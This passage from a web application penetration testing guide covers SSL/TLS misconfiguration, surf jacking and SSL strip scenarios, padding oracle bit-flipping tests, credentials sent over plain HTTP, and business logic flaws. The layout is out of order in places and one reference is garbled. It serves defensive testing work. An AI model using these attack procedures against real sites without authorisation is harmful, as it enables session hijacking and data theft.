discovered. For example, the nmap scanner features a scanning
mode (enabled by the sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has
the capability of performing SSL checks on all SSL/TLS-wrapped

Warning issued by Mozilla Firefox


Testing for other vulnerabilities
As mentioned previously, there are other types of vulnerabilities
that are not related with the SSL/TLS protocol used, the cipher

172

Web Application Penetration Testing

suites or Certificates. Apart from other vulnerabilities discussed


in other parts of this guide, a vulnerability exists when the server
provides the website both with the HTTP and HTTPS protocols,
and permits an attacker to force a victim into using a non-secure
channel instead of a secure one.
Surf Jacking
The Surf Jacking attack [7] was first presented by Sandro Gauci
and permits to an attacker to hijack an HTTP session even when
the victims connection is encrypted using SSL or TLS.
The following is a scenario of how the attack can take place:
Victim logs into the secure website at https://somesecuresite/.
The secure site issues a session cookie as the client logs in.
While logged in, the victim opens a new browser window and
goes to http:// examplesite/
An attacker sitting on the same network is able to see the clear
text traffic to http://examplesite.
The attacker sends back a 301 Moved Permanently in
response to the clear text traffic to http://examplesite. The
response contains the header Location: http://somesecuresite
/, which makes it appear that examplesite is sending the web
browser to somesecuresite. Notice that the URL scheme is
HTTP not HTTPS.
The victims browser starts a new clear text connection to
http://somesecuresite/ and sends an HTTP request containing
the cookie in the HTTP header in clear text
The attacker sees this traffic and logs the cookie for later use.
To test if a website is vulnerable carry out the following tests:
[1] Check if website supports both HTTP and HTTPS protocols
[2] Check if cookies do not have the Secure flag
SSL Strip
Some applications supports both HTTP and HTTPS, either for
usability or so users can type both addresses and get to the site.
Often users go into an HTTPS website from link or a redirect.
Typically personal banking sites have a similar configuration with
an iframed log in or a form with action attribute over HTTPS but
the page under HTTP.
An attacker in a privileged position - as described in SSL strip
[8] - can intercept traffic when the user is in the http site and
manipulate it to get a Man-In-The-Middle attack under HTTPS.
An application is vulnerable if it supports both HTTP and HTTPS.
Testing via HTTP proxy
Inside corporate environments testers can see services
that are not directly accessible and they can access them
only via HTTP proxy using the CONNECT method [36].
Most of the tools will not work in this scenario because they try
to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP
proxy.
Example 8. Testing via HTTP proxy
To connect to destined.application.lan:443 via proxy

10.13.37.100:3128 run socat as follows:


$ socat TCP-LISTEN:9999,reuseaddr,fork
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128

Then the tester can target all other tools to localhost:9999:


$ openssl s_client -connect localhost:9999

All connections to localhost:9999 will be effectively relayed by


socat via proxy to destined.application.lan:443.
Configuration Review
Testing for Weak SSL/TLS Cipher Suites
Check the configuration of the web servers that provide https
services. If the web application provides other SSL/TLS wrapped
services, these should be checked as well.
Example 9. Windows Server
Check the configuration on a Microsoft Windows Server (2000,
2003 and 2008) using the registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.
Example 10: Apache
To check the cipher suites and protocols supported by the
Apache2 web server, open the ssl.conf file and search for the
SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.
Testing SSL certificate validity client and server
Examine the validity of the certificates used by the application
at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional
communication paths protected by SSL (for example, towards
the DBMS). Testers should check the application architecture to
identify all SSL protected channels.
Tools
[21][Qualys SSL Labs - SSL Server Test | https://www.ssllabs.
com/ssltest/index.html]: internet facing scanner
[27] [Tenable - Nessus Vulnerability Scanner | http://www.
tenable.com/products/nessus]: includes some plugins to test
different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.
[32] [TestSSLServer | http://www.bolet.org/TestSSLServer/]:
a java scanner - and also windows executable - includes tests
for cipher suites, CRIME and BEAST
[33] [sslyze | https://github.com/iSECPartners/sslyze]: is a
python script to check vulnerabilities in SSL/TLS.

173

Web Application Penetration Testing

[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl


script/windows executable scanner which follows Qualys SSL
Labs Rating Guide.
[29] [SSLScan | http://sourceforge.net/projects/sslscan/]
with [SSL Tests|http://www.pentesterscripting.com/discovery/
ssl_tests]: a SSL Scanner and a wrapper in order to enumerate
SSL vulnerabilities.
[31] [nmap|http://nmap.org/]: can be used primary to identify
SSL-based services and then to check Certificate and SSL/TLS
vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html]
and supported [SSL/TLS protocols/ciphers|http://nmap.org/
nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.
[30] [curl|http://curl.haxx.se/] and [openssl|http://www.
openssl.org/]: can be used to query manually SSL/TLS services
[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of
SSL clients is that of SSL proxies such as stunnel available at
which can be used to allow non-SSL enabled tools to talk to SSL
services)
[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay
[38] [testssl.sh| https://testssl.sh/ ]
References
OWASP Resources
[5] [OWASP Testing Guide - Testing for cookie attributes (OTGSESS-002)|https://www.owasp.org/index.php/Testing_for_
cookies_attributes_(OTG-SESS-002)]
[4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.
php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]
[6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/
index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]
[2] [OWASP Testing Guide - Testing for Sensitive information
sent via unencrypted channels (OTG-CRYPST-003)|https://
www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]
[3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.
owasp.org/index.php/Testing_for_Credentials_Transported_
over_an_Encrypted_Channel_(OTG-AUTHN-001)]
[22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]
[23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]
[24] [OWASP TOP 10 2010 - A9 Insufficient Transport
Layer Protection|https://www.owasp.org/index.php/
Top_10_2010-A9-Insufficient_Transport_Layer_Protection]
[25] [OWASP ASVS 2009 - Verification 10|https://code.google.
com/p/owasp-asvs/wiki/Verification_V10]
[26] [OWASP Application Security FAQ - Cryptography/
SSL|https://www.owasp.org/index.php/OWASP_Application_
Security_FAQ#Cryptography.2FSSL]
Whitepapers

[1] [RFC5246 - The Transport Layer Security (TLS) Protocol


Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://
www.ietf.org/rfc/rfc5246.txt]
[36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]
[34] [RFC6066 - Transport Layer Security (TLS) Extensions:
Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]
[11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.
org/56387]
[12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/
cgi-bin/cvename.cgi?name=CVE-2009-3555]
[13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]
[10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.
html]
[14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.
ssllabs.com/projects/rating-guide/index.html]
[20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
[18] [Qualys SSL Labs - Forward Secrecy|https://community.
qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]
[15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.
com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-brokennow-what]
[16] [Qualys SSL Labs - BEAST|https://community.qualys.
com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]
[17] [Qualys SSL Labs - CRIME|https://community.qualys.
com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]
[7] [SurfJacking attack|https://resources.enablesecurity.com/
resources/Surf%20Jacking.pdf]
[8] [SSLStrip attack|http://www.thoughtcrime.org/software/
sslstrip/]
[19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/
security_standards/documents.php]
[35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and
Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]

Testing for Padding Oracle (OTG-CRYPST-002)

Summary
A padding oracle is a function of an application which decrypts
encrypted data provided by the client, e.g. internal session state
stored on the client, and leaks the state of the validity of the
padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary
data without knowledge of the key used for these cryptographic
operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data
is assumed by the application.
Block ciphers encrypt data only in blocks of certain sizes. Block
sizes used by common ciphers are 8 and 16 bytes. Data where
the size doesnt match a multiple of the block size of the used
cipher has to be padded in a specific manner so the decryptor is
able to strip the padding. A commonly used padding scheme is
PKCS#7. It fills the remaining bytes with the value of the padding
length.

174

Web Application Penetration Testing

Example:
If the padding has the length of 5 bytes, the byte value 0x05 is
repeated five times after the plain text.
An error condition is present if the padding doesnt match the
syntax of the used padding scheme. A padding oracle is present
if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel
like timing behavior.
Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is
also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped
in the decrypted data. The n-th block of the decrypted cipher text is
garbaged by this manipulation.
The padding oracle attack enables an attacker to decrypt encrypted
data without knowledge of the encryption key and used cipher by
sending skillful manipulated cipher texts to the padding oracle and
observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored
on the client side the attacker can gain information about the internal
state and structure of the application.

least significant bit of the byte at y-2*n-1), re-encode and send.


If it is known that the encrypted string is a single block (the IV is
stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative
approach could be to prepend a random block, and flip bits in order
to make the last byte of the added block take all possible values (0
to 255).
The tests and the base value should at least cause three different
states while and after decryption:
Cipher text gets decrypted, resulting data is correct.
Cipher text gets decrypted, resulting data is garbled and causes
some exception or error handling in the application logic.
Cipher text decryption fails due to padding errors.
Compare the responses carefully. Search especially for exceptions
and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding
oracle. If the three different states described above are observable
implicitly (different error messages, timing side-channels), there is
a high probability that there is a padding oracle present at this point.
Try to perform the padding oracle attack to ensure this.
Examples:

A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If
the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.

ASP.NET throws System.Security.Cryptography.Cryptographic


Exception: Padding is invalid and cannot be removed. if padding of
a decrypted cipher text is broken.
In Java a javax.crypto.BadPaddingException is thrown in this case.
Decryption errors or similar can be possible padding oracles.

How to Test
Black Box Testing
Testing for padding oracle vulnerabilities:
First the possible input points for padding oracles must be identified. Generally the following conditions must be met:

Result Expected:
A secure implementation will check for integrity and cause only two
responses: ok and failed. There are no side channels which can be
used to determine internal error states.

[1] The data is encrypted. Good candidates are values which appear
to be random.
[2] A block cipher is used. The length of the decoded (Base64 is used
often) cipher text is a multiple of common cipher block sizes like 8 or
16 bytes. Different cipher texts (e.g. gathered by different sessions or
manipulation of session state) share a common divisor in the length.
Example:
Dg6W8OiWMIdVokIDH15T/A== results after Base64 decoding in
0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be
random and 16 byte long.
If such an input value candidate is identified, the behavior of the
application to bit-wise tampering of the encrypted value should be
verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext p
and a cipher with a block size n, the number of blocks will be b = ceil(
length(b) / n). The length of the encrypted string will be y=(b+1)*n
due to the initialization vector. To verify the presence of the oracle,
decode the string, flip the last bit of the second-to-last block b-1
(the least significant bit of the byte at y-n-1), re-encode and send.
Next, decode the original string, flip the last bit of the block b-2 (the

Grey Box Testing


Testing for padding oracle vulnerabilities:
Verify that all places where encrypted data from the client, that
should only be known by the server, is decrypted. The following conditions should be met by such code:
[1] The integrity of the cipher text should be verified by a secure
mechanism, like HMAC or authenticated cipher operation modes
like GCM or CCM.
[2] All error states while decryption and further processing are handled uniformly.

Tools

PadBuster - https://github.com/GDSSecurity/PadBuster
python-paddingoracle - https://github.com/mwielgoszewski/py
thon-paddingoracle
Poracle - https://github.com/iagox86/Poracle
Padding Oracle Exploitation Tool (POET) http://netifera.com/research/
Examples
Visualization of the decryption process - http://erlend.oftedal.no/
blog/poet/

175

Web Application Penetration Testing

References
Whitepapers
Wikipedia - Padding oracle attack http://en.wikipedia.org/wiki/Padding_oracle_attack
Juliano Rizzo, Thai Duong, Practical Padding Oracle Attacks http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf

Testing for Sensitive information sent via


unencrypted channels (OTG-CRYPST-003)

Summary
Sensitive data must be protected when it is transmitted through
the network. If data is transmitted over HTTPS or encrypted in
another way the protection mechanism must not have limitations or vulnerabilities, as explained in the broader article Testing
for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) [1] and in other OWASP documentation
[2], [3], [4], [5].
As a rule of thumb if data must be protected when it is stored,
this data must also be protected during transmission. Some examples for sensitive data are:
Information used in authentication (e.g. Credentials, PINs, Session identifiers, Tokens, Cookies)
Information protected by laws, regulations or specific organizational policy (e.g. Credit Cards, Customers data)
If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is considered a security risk. Some
examples are Basic authentication which sends authentication
credentials in plain-text over HTTP, form based authentication
credentials sent via HTTP, or plain-text transmission of any other information considered sensitive due to regulations, laws, organizational policy or application business logic.
How to Test
Various types of information that must be protected, could be
transmitted by the application in clear text. It is possible to check
if this information is transmitted over HTTP instead of HTTPS,
or whether weak cyphers are used. See more information about
insecure transmission of credentials Top 10 2013-A6-Sensitive
Data Exposure [3] or insufficient transport layer protection in
general Top 10 2010-A9-Insufficient Transport Layer Protection
[2].
Example 1: Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over
HTTP. When using Basic Authentication, user credentials are encoded rather than encrypted, and are sent as HTTP headers. In
the example below the tester uses curl [5] to test for this issue.
Note how the application uses Basic authentication, and HTTP
rather than HTTPS
curl -kis http://example.com/restricted/
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm=Restricted Area
Accept-Ranges: bytes Vary:
Accept-Encoding Content-Length: 162

Content-Type: text/html
<html><head><title>401 Authorization Required</title></
head>
<body bgcolor=white> <h1>401 Authorization Required</
h1> Invalid login credentials! </body></html>
Example 2: Form-Based Authentication Performed over HTTP
Another typical example is authentication forms which transmit
user authentication credentials over HTTP. In the example below one can see HTTP being used in the action attribute of the
form. It is also possible to see this issue by examining the HTTP
traffic with an interception proxy.
<form action=http://example.com/login>
<label for=username>User:</label> <input type=text id=username name=username value=/><br />
<label for=password>Password:</label> <input
type=password id=password name=password value=/>
<input type=submit value=Login/>
</form>
Example 3: Cookie Containing Session ID Sent over HTTP
The Session ID Cookie must be transmitted over protected channels. If the cookie does not have the secure flag set [6] it is permitted for the application to transmit it unencrypted. Note below
the setting of the cookie is done without the Secure flag, and the
entire log in process is performed in HTTP and not HTTPS.
https://secure.example.com/login
POST /login HTTP/1.1
Host: secure.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, maxage=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT;

176

Web Application Penetration Testing

path=/; domain=example.com; httponly


Location: private/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html
---------------------------------------------------------http://example.com/private
GET /private HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
Connection: keep-alive
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html;charset=UTF-8
Content-Length: 730
Date: Tue, 25 Dec 2013 00:00:00 GMT
----------------------------------------------------------

Tools

[5] curl can be used to check manually for pages


References
OWASP Resources
[1] OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers,
Insufficient Transport Layer Protection (OTG-CRYPST-001)
[2] OWASP TOP 10 2010 - Insufficient Transport Layer
Protection
[3] OWASP TOP 10 2013 - Sensitive Data Exposure
[4] OWASP ASVS v1.1 - V10 Communication Security Verification
Requirements
[6] OWASP Testing Guide - Testing for Cookies attributes
(OTG-SESS-002)

Testing for business logic

Summary
Testing for business logic flaws in a multi-functional dynamic
web application requires thinking in unconventional methods.
If an applications authentication mechanism is developed with

the intention of performing steps 1, 2, 3 in that specific order to


authenticate a user. What happens if the user goes from step 1
straight to step 3? In this simplistic example, does the application provide access by failing open; deny access, or just error out
with a 500 message?
There are many examples that can be made, but the one constant lesson is think outside of conventional wisdom. This type
of vulnerability cannot be detected by a vulnerability scanner
and relies upon the skills and creativity of the penetration tester.
In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same
time, usually one of the most detrimental to the application, if
exploited.
The classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens
in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications.
There is debate within the community about whether these
problems represent particularly new concepts, or if they are variations of well-known principles.
Testing of business logic flaws is similar to the test types used
by functional testers that focus on logical or finite state testing.
These types of tests require that security professionals think a
bit differently, develop abused and misuse cases and use many
of the testing techniques embraced by functional testers. Automation of business logic abuse cases is not possible and remains
a manual art relying on the skills of the tester and their knowledge of the complete business process and its rules.
Business Limits and Restrictions
Consider the rules for the business function being provided by
the application. Are there any limits or restrictions on peoples
behavior? Then consider whether the application enforces those
rules. Its generally pretty easy to identify the test and analysis
cases to verify the application if youre familiar with the business. If you are a third-party tester, then youre going to have to
use your common sense and ask the business if different operations should be allowed by the application.
Sometimes, in very complex applications, the tester will not have
a full understanding of every aspect of the application initially.
In these situations, it is best to have the client walk the tester
through the application, so that they may gain a better understanding of the limits and intended functionality of the application, before the actual test begins. Additionally, having a direct
line to the developers (if possible) during testing will help out
greatly, if any questions arise regarding the applications functionality.
Description of the Issue
Automated tools find it hard to understand context, hence its up
to a person to perform these kinds of tests. The following two
examples will illustrate how understanding the functionality of
the application, the developers intentions, and some creative
out-of-the-box thinking can break the applications logic. The
first example starts with a simplistic parameter manipulation,
whereas the second is a real world example of a multi-step process leading to completely subvert the application.

177

Web Application Penetration Testing

Example 1:
Suppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an
attacker was able to go back to the summary page, maintaining
their same valid session and inject a lower cost for an item and
complete the transaction, and then check out?
Example 2:
Holding/locking resources and keeping others from purchases
these items online may result in attackers purchasing items at a
lower price. The countermeasure to this problem is to implement
timeouts and mechanisms to ensure that only the correct price
can be charged.
Example 3:
What if a user was able to start a transaction linked to their club/
loyalty account and then after points have been added to their
account cancel out of the transaction? Will the points/credits still
be applied to their account?
Business Logic Test Cases
Every application has a different business process, application
specific logic and can be manipulated in an infinite number of
combinations. This section provides some common examples of
business logic issues but in no way a complete list of all issues.
Business Logic exploits can be broken into the following categories:
4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)
In business logic data validation testing, we verify that the application does not allow users to insert unvalidated data into
the system/application. This is important because without this
safeguard attackers may be able to insert unvalidated data/information into the application/system at handoff points where
the application/system believes that the data/information is
good and has been valid since the entry points performed
data validation as part of the business logic workflow.
4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)
In forged and predictive parameter request testing, we verify
that the application does not allow users to submit or alter data
to any component of the system that they should not have access
to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attackers
may be able to fool/trick the application into letting them into
sections of thwe application of system that they should not be
allowed in at that particular time, thus circumventing the applications business logic workflow.
4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)
In integrity check and tamper evidence testing, we verify that the
application does not allow users to destroy the integrity of any
part of the system or its data. This is important because without
these safe guards attackers may break the business logic workflow and change of compromise the application/system data or
cover up actions by altering information including log files.
4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)
In process timing testing, we verify that the application does not
allow users to manipulate a system or guess its behavior based

on input or output timing. This is important because without this


safeguard in place attackers may be able to monitor processing
time and determine outputs based on timing, or circumvent the
applications business logic by not completing transactions or
actions in a timely manner.
4.12.5 Test Number of Times a Function Can be Used Limits
(OTG-BUSLOGIC-005)
In function limit testing, we verify that the application does not
allow users to exercise portions of the application or its functions more times than required by the business logic workflow.
This is important because without this safeguard in place attackers may be able to use a function or portion of the application
more times than permissible per the business logic to gain additional benefits.
4.12.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)
In circumventing workflow and bypassing correct sequence
testing, we verify that the application does not allow users to
perform actions outside of the approved/required business
process flow. This is important because without this safeguard
in place attackers may be able to bypass or circumvent workflows and checks allowing them to prematurely enter or skip
required sections of the application potentially allowing the
action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information.
4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)
In application mis-use testing, we verify that the application
does not allow users to manipulate the application in an unintended manner.
4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)
In unexpected file upload testing, we verify that the application
does not allow users to upload file types that the system is not
expecting or wanted per the business logic requirements. This is
important because without these safeguards in place attackers
may be able to submit unexpected files such as .exe or .php that
could be saved to the system and then executed against the application or system.
4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)
In malicious file upload testing, we verify that the application
does not allow users to upload files to the system that are malicious or potentially malicious to the system security. This is
important because without these safeguards in place attackers
may be able to upload files to the system that may spread viruses, malware or even exploits such as shellcode when executed.

Tools

While there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools
are incapable of detecting logical vulnerabilities. For example,
tools have no means of detecting if a user is able to circumvent
the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted
resources nor do they have any mechanism to help the human

178

Web Application Penetration Testing

testers to suspect this state of affairs.


The following are some common tool types that can be useful in
identifying business logic issues.
HP Business Process Testing Software
 http://www8.hp.com/us/en/software-solutions/software.html?compURI=1174789#.UObjK3ca7aE
Intercepting Proxy - To observe the request and response
blocks of HTTP traffic.
Webscarab - https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
Burp Proxy - http://portswigger.net/burp/proxy.html
Paros Proxy - http://www.parosproxy.org/
Web Browser Plug-ins - To view and modify HTTP/HTTPS
headers, post parameters and observe the DOM of the Browser
 Tamper Data (for Internet Explorer) - https://addons.mozilla.
org/en-us/firefox/addon/tamper-data/
 TamperIE (for Internet Explorer) - http://www.bayden.com/
tamperie/
Firebug (for Internet Explorer) - https://addons.mozilla.org/enus/firefox/addon/firebug/ and http://getfirebug.com/
Miscellaneous Test Tools
 Web Developer toolbar - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm
The Web Developer extension adds a toolbar button to the
browser with various web developer tools. This is the official
port of the Web Developer extension for Firefox.
HTTP Request Maker - https://chrome.google.com/webstore/
detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
Request Maker is a tool for penetration testing. With it you can
easily capture requests made by web pages, tamper with the
URL, headers and POST data and, of course, make new requests
 Cookie Editor - https://chrome.google.com/webstore/detail/
fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
Edit This Cookie is a cookie manager. You can add, delete, edit,
search, protect and block cookies
 Session Manager - https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi
With Session Manager you can quickly save your current browser
state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library.
Each session remembers the state of the browser at its creation time, i.e. the opened tabs and windows. Once a session is
opened, the browser is restored to its state.

site you use, with all your accounts; if you want to use another
account just swap profile!
 HTTP Response Browser - https://chrome.google.com/webstore/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US
Make HTTP requests from your browser and browse the response (HTTP headers and source). Send HTTP method, headers
and body using XMLHttpRequest from your browser then view
the HTTP status, headers and source. Click links in the headers or
body to issue new requests. This plug-in formats XML responses
and uses Syntax Highlighter < http://alexgorbatchev.com/ >.
 Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
Firebug Lite is not a substitute for Firebug, or Chrome Developer
Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to
see in Firebug when it comes to HTML elements, DOM elements,
and Box Model shading. It provides also some cool features like
inspecting HTML elements with your mouse, and live editing CSS
properties.
References
Whitepapers
Business Logic Vulnerabilities in Web Applications Gy#9_000
00GynCRG_6&0_M1Enjj6Cjjj6
The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864 - http://csrc.
nist.gov/publications/nistir/ir7864/nistir-7864.pdf
 Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12n1-p29-41.pdf
 Finite State testing of Graphical User Interfaces, Fevzi Belli http://www.slideshare.net/Softwarecentral/finitestate-testing-of-graphical-user-interfaces
 Principles and Methods of Testing Finite State Machines - A
Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohiostate.edu/~lee/english/pdf/ieee-proceeding-survey.pdf
Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin
Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf

 Cookie Swap - https://chrome.google.com/webstore/detail/


dffhipnliikkblkhpjapbecpmoilcama?hl=en-US

 Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik,


McAfee - https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf

Swap My Cookies is a session manager, it manages your cookies,


letting you login on any website with several different accounts.
You can finally login into Gmail, yahoo, hotmail, and just any web-

 Seven Business Logic Flaws That Put Your Website At Risk


Jeremiah Grossman Founder and CTO, WhiteHat Security https://www.whitehatsec.com/resource/whitepapers/busi-

179

Web Application Penetration Testing

ness_logic_flaws.html
 Toward Automated Detection of Logic Vulnerabilities in Web
Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/
event/sec10/tech/full_papers/Felmetsger.pdf

Business_Logic_White_Paper.pdf
Books
